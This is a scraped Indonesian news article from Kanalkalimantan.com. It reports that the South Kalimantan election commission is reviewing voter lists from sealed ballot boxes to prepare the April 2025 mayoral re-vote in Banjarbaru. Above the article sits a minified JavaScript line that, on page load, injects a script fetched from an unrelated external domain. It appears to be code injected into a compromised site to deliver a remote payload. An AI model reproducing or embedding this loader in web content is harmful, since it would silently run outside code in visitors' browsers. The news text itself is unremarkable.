(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) mematangkan persiapan teknis pelaksanaan Pemungutan Suara Ulang (PSU) untuk Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru pada 19 April 2025 mendatang.
Pematangan kesiapan salah satunya ialah melakukan pencermatan pada daftar pemilih pada Pilkada 27 November 2024 lalu, untuk kembali dipakai pada PSU.
Hal itu diungkapkan Koordinator Divisi Perencanaan Data dan Informasi KPU Kalsel, Arif Mukhyar saat berada di gudang logistik KPU Kota Banjarbaru, Selasa (25/3/2025) siang.
Baca juga: Paslon PSU Pilwali Banjarbaru Dilarang Berkampanye
KPU Kalsel bersama jajaran melaksanakan kegiatan pembukaan kotak suara sesuai dengan amar putusan MK.
“Dan untuk melakukan pencermatan ini kami perlu melakukan pembukaan kotak untuk mengambil atau mengeluarkan Daftar Pemilih Tetap (DPT), Daftar Pemilih Tambahan (DPTb) dan Daftar Pemilih Khusus (DPK),” ujar Arif Mukhyar kepada Kanalkalimantan.com.
“Yang mana itu akan kami gunakan kembali pada pelaksanaan PSU 19 April mendatang,” sambungnya.
Sistem pencermatan dilakukan apabila ada pemilih yang tidak memenuhi syarat seperti karena meninggal dunia atau menjadi TNI atau Polri.
Baca juga: Jelang PSU Banjarbaru Masih Kekurangan 50 Anggota KPPS
Sedangkan untuk DPT, kata dia, tidak dilakukan pemutakhiran data pemilih. Kemudian terhadap DPTb akan dicermati dengan melihat berapa jumlah pemilih di Kota Banjarbaru yang menggunakan hak pilih di luar, serta berapa jumlah yang pindah memilih ke Banjarbaru.
“Dimana sesuai ketentuan jika menggunakan hak pilih di luar, maka tidak bisa menggunakan kembali hak pilih di sini pada 19 April 2025,” jelas dia.
Baca juga: Jalin Silaturahmi dalam Bukber PT AGM dan Jurnalis
Kemudian paling penting, katanya, terhadap DPTb yaitu pemilih yang datang pada coblosan 27 November 2024 dengan menggunakan KTP maka juga harus kembali diundang ke TPS pada 19 April 2025.
“Dan data ini hanya ada di dalam kotak suara pada pelaksanaan Pilkada 27 November 2024 lalu,” pungkas Arif. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More
This website uses cookies.